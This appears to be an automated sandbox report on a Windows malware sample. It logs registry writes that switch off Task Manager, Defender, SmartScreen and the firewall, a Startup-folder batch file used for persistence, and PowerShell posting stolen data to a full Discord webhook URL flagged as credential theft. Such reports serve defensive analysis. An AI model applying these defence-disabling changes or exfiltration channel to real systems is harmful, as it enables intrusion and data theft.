| |||||||||||||||
Total events
857 262
Read events
856 860
Write events
402
Delete events
0
Modification events
| (PID) Process: | (3652) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.FriendlyAppName |
Value: Windows Command Processor | |||
| (PID) Process: | (3652) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache |
| Operation: | write | Name: | C:\WINDOWS\System32\cmd.exe.ApplicationCompany |
Value: Microsoft Corporation | |||
| (PID) Process: | (1096) reg.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
| Operation: | write | Name: | DisableTaskMgr |
Value: 1 | |||
| (PID) Process: | (1984) reg.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender |
| Operation: | write | Name: | DisableAntiSpyware |
Value: 1 | |||
| (PID) Process: | (1496) reg.exe | Key: | HKEY_CURRENT_USER\Control Panel\Mouse |
| Operation: | write | Name: | SwapMouseButtons |
Value: 1 | |||
| (PID) Process: | (3048) reg.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer |
| Operation: | write | Name: | NoDesktop |
Value: 1 | |||
| (PID) Process: | (6344) reg.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer |
| Operation: | write | Name: | SmartScreenEnabled |
Value: Off | |||
| (PID) Process: | (7020) reg.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile |
| Operation: | write | Name: | EnableFirewall |
Value: 0 | |||
| (PID) Process: | (3740) reg.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile |
| Operation: | write | Name: | EnableFirewall |
Value: 0 | |||
| (PID) Process: | (3756) reg.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile |
| Operation: | write | Name: | EnableFirewall |
Value: 0 | |||
Executable files
0
Suspicious files
4
Text files
469
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5708 | cmd.exe | C:\Users\admin\Downloads\VARIETY_WOLFED_lawrussian.jpg | image | |
MD5:9F2A09111C47A747A520ABD2657F1268 | SHA256:1FAA10063A4B2E9179D4FA130033533EF1DBD9AFBC8A186D0A11372D9025355E | |||
| 436 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pb3unrl1.u1t.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5708 | cmd.exe | C:\Users\admin\Downloads\copy_22769.bat | text | |
MD5:5016EF10075AED0BBE861604C2308CCC | SHA256:58BE6FBC08DDBC32F21E03FE2665A78BA9EC5418273E96D963254E9210C93286 | |||
| 436 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2i3v2brf.5kb.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5708 | cmd.exe | C:\Users\admin\Downloads\VARIETY_WOLFED_enteens.jpg | image | |
MD5:5F57DE621FADB1C9C887A09876E3119D | SHA256:BB1244B863031F27CCFAFA7173FB7A6859EB408B64ECA9583FBB7FE693D215AC | |||
| 3652 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:89E1500DD39D3F8C58240F7DCFE05AE7 | SHA256:2423FA08F254683B2CE89C0CDD1D6DF7B1AF241654D41F7668BBB64E36A93352 | |||
| 5708 | cmd.exe | C:\Users\admin\Downloads\VARIETY_WOLFED_edmiles.jpg | image | |
MD5:106B2F7CDDBF4DBD5B49629BF0FDFE36 | SHA256:0A8A5FA74A2F2FCFBD0177F642B8E9BBA8C3BFD37D01C16E547305634BA6DA03 | |||
| 5708 | cmd.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyAutoStart.bat | text | |
MD5:5016EF10075AED0BBE861604C2308CCC | SHA256:58BE6FBC08DDBC32F21E03FE2665A78BA9EC5418273E96D963254E9210C93286 | |||
| 5708 | cmd.exe | C:\Users\admin\Downloads\copy_8979.bat | text | |
MD5:5016EF10075AED0BBE861604C2308CCC | SHA256:58BE6FBC08DDBC32F21E03FE2665A78BA9EC5418273E96D963254E9210C93286 | |||
| 3652 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4z0h1hpc.k4a.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
125
TCP/UDP connections
130
DNS requests
23
Threats
362
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5944 | MoUsoCoreWorker.exe | GET | 200 | 2.19.11.105:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 2.19.11.105:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5116 | RUXIMICS.exe | GET | 200 | 2.19.11.105:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5116 | RUXIMICS.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | POST | 200 | 20.190.159.75:443 | https://login.live.com/RST2.srf | unknown | xml | 1.24 Kb | whitelisted |
— | — | POST | 200 | 162.159.128.233:443 | https://discord.com/api/webhooks/1385864776902774865/NxFnzjTjNF0AFMRMbF63CBItfiGK1xQaLlpolNP5QAbGKVfs4h48tJsrLB-XoxUgYlA1 | unknown | html | 2.70 Kb | whitelisted |
— | — | POST | 200 | 40.126.31.71:443 | https://login.live.com/ppsecure/deviceaddcredential.srf | unknown | text | 16.7 Kb | whitelisted |
— | — | POST | 200 | 40.126.31.67:443 | https://login.live.com/RST2.srf | unknown | xml | 11.1 Kb | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5116 | RUXIMICS.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1268 | svchost.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | 2.19.11.105:80 | crl.microsoft.com | Elisa Oyj | NL | whitelisted |
1268 | svchost.exe | 2.19.11.105:80 | crl.microsoft.com | Elisa Oyj | NL | whitelisted |
5116 | RUXIMICS.exe | 2.19.11.105:80 | crl.microsoft.com | Elisa Oyj | NL | whitelisted |
5944 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
1268 | svchost.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
discord.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2200 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
436 | powershell.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
436 | powershell.exe | Misc activity | ET INFO Observed Discord Service Domain (discord .com) in TLS SNI |
436 | powershell.exe | Successful Credential Theft Detected | STEALER [ANY.RUN] Attempt to exfiltrate via Discord |
2200 | svchost.exe | Misc activity | ET INFO Discord Chat Service Domain in DNS Lookup (discord .com) |
7480 | powershell.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
7480 | powershell.exe | Misc activity | ET INFO Observed Discord Service Domain (discord .com) in TLS SNI |
— | — | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
7480 | powershell.exe | Successful Credential Theft Detected | STEALER [ANY.RUN] Attempt to exfiltrate via Discord |